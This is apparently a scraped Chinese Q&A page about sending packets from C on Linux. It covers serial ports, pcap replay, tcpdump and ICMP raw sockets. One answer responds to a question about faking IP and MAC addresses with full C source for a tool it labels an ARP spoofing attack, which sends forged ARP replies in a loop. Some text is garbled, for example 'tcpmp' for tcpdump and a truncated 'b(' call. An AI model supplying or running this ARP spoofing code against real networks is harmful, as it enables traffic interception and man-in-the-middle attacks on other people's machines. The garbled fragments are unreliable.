導航:首頁 > 編程系統 > linuxc模擬發包

linuxc模擬發包

發布時間:2023-06-02 13:16:02

㈠ 關於怎樣在linux上用C寫串口收發數據程序

對於編程來說,沒什麼區別,通過控制485的使能端該程序完全可以使用。唯一的區內別就是你在發送的時候通容過程序把485的控制腳拉高,接收的時候把他拉低就可以了。至於電氣方面的區別:RS232是全雙工,可以同時收發,RS485是半雙工,不能同時收發,還有電平信號不一樣,這個編程你就不要理了。

㈡ linux下面怎麼做一個發包器,題目是利用pcap文件格式,我們在發包之前已經有pcap文件包,讀取pcap文件通過

你應該使用pcap庫

搜搜有關pcap庫的使用就行了 學學相關函數的使用
pcap_create()
pcap_activate()
pcap_open_offline()
等等

㈢ linux下怎麼指定網卡發包收包

linux下有命令可直接執行抓包的,命令如下:
1、tcpmp -vv -i ethN -s 10240 -w /root/abc.cap host ip
2、上述命令中,ethN,是你要抓的本機網卡內,一般是eth0,可使用容ifconfig查看使用的哪個網卡
-s 指定的是抓包數量 -w指定的是抓到的包寫到哪個位置 host ip即為抓取哪個ip 的包

㈣ 如何在linux下用c語言編寫一個能夠發送icmp報文的小程序

需要建立來socket,參數是AF_INET,SOCK_RAW,IPPROTO_ICMP

自己構自造ICMP數據包,sendto發送給某地址。

ICMP有多種,你可以發送type為13的時間戳請求。

然後調用recvfrom會收到type為14的timestampreply的IP包,

IP頭一般是20Bytes,裡麵包含srcIP,desIP還有TTL等。

IP包的數據就是返回ICMPtimestampreply報文,裡面有origTimestamp,recvTimestamp,transStamp,可以計算出時間。

可以參考網頁鏈接網頁鏈接

覺得有幫助可以注冊帳號,給他點個「星」

㈤ Linux C編程, 如何仿造ip、mac地址發送報文呢 是利用ARP協議漏洞嗎有沒有源代碼借鑒下~~

一個arp欺騙攻擊的代碼如下:
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

閱讀全文

與linuxc模擬發包相關的資料

熱點內容
js關閉頁面前提示 瀏覽:147
彩視製作教程 瀏覽:766
聖墟在哪個App看免費 瀏覽:395
網路哪些不能玩 瀏覽:868
probe315使用教程 瀏覽:646
數字電位器程序 瀏覽:198
c代碼整理 瀏覽:104
網路營銷具有什麼優勢 瀏覽:378
右下角網路連接不顯示寬頻連接 瀏覽:940
ps修改tif文件 瀏覽:580
預防醫學如何轉行做大數據 瀏覽:234
pdf文件變藍 瀏覽:309
怎麼在pdf文件上面用k寶簽名 瀏覽:213
如何知道表格里數據後面有空格 瀏覽:720
gee引擎更新系統找不到指定文件 瀏覽:802
貝殼網的數據刪除了如何找回 瀏覽:509
華為榮耀6x怎麼切換網路 瀏覽:418
手機里的pdf文件在哪放 瀏覽:889
java版貪吃蛇畢業論文 瀏覽:989
微信公共號郵箱 瀏覽:415

友情鏈接